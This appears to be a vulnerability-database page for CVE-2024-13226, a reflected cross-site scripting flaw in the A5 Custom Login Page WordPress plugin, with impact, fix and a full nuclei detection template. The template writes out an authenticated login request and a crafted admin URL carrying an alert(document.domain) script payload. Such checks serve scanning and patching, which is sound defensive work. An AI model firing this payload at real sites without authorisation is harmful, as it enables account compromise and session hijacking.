HexBrain

Browse / CVEs / CVE-2024-13226

CVE-2024-13226· CWE-79

A5 Custom Login Page - Reflected XSS

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
50%of all CVEs are less likely
Readycheck to confirm it

A5 Custom Login Page WordPress plugin v2.8.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires a crafted URL or input.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=clp-settings&tab=testxss"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>","custom-login-page")

Run it with nuclei: nuclei -id CVE-2024-13226 -u <target>

The full check
id: CVE-2024-13226

info:
  name: A5 Custom Login Page - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    A5 Custom Login Page WordPress plugin v2.8.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires a crafted URL or input.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
  reference:
    - https://wpscan.com/vulnerability/dd09fe99-2334-4d6f-8a70-e1cd856b1486/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13226
    cwe-id: CWE-79
    epss-score: 0.0061
    epss-percentile: 0.4954
    cpe: cpe:2.3:a:tepelstreel:a5_custom_login_page:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/custom-login-page/"
  tags: cve,cve2024,tepelstreel,custom-login-page,authenticated,wordpress,wp-plugin,wp,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=clp-settings&tab=testxss"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>","custom-login-page")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from